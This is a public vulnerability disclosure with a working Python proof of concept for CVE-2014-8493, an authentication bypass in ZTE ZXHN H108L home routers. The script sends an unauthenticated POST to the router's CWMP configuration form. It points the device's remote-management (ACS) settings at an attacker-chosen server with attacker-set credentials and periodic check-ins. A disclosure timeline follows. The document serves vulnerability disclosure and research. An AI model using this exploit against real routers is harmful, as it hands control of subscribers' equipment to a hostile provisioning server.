# Exploit Title: ZTE ZXHN H108L Authentication Bypass # Date: 14/11/2014 # Exploit Author: Project Zero Labs (https://projectzero.gr | labs@projectzero.gr) # Vendor Homepage: www.zte.com.cn # Version: ZXHN H108LV4.0.0d_ZRQ_GR4 # Tested on: ZTE ZXHN H108L # CVE : CVE-2014-8493 #Original post at https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/ Description =========== CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting subscribers' equipment. However editing the CWMP parameters (more specifically sending the POST request) does not require any user authentication. Proof of Concept ================ #!/usr/bin/python import requests acs_server = "http://<server>:<port>" acs_user = "user" acs_pass = "pass" # Connection request parameters. When a request is made to the following URL, using the specified user/pass combination, # router will connect back to the ACS server. conn_url = "/tr069" conn_port = "7564" conn_user = "user" conn_pass = "pass" #Periodic inform parameters active = 1 interval = 2000 payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' } r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload) Disclosure Timeline =================== 27/10/2014 - First communication attempt to both vendor and ISP 04/11/2014 - ZTE response stating that ISP should be contacted 03/11/2014 - Second attempt to contact the ISP. 14/11/2014 - No response from ISP. Public Disclosure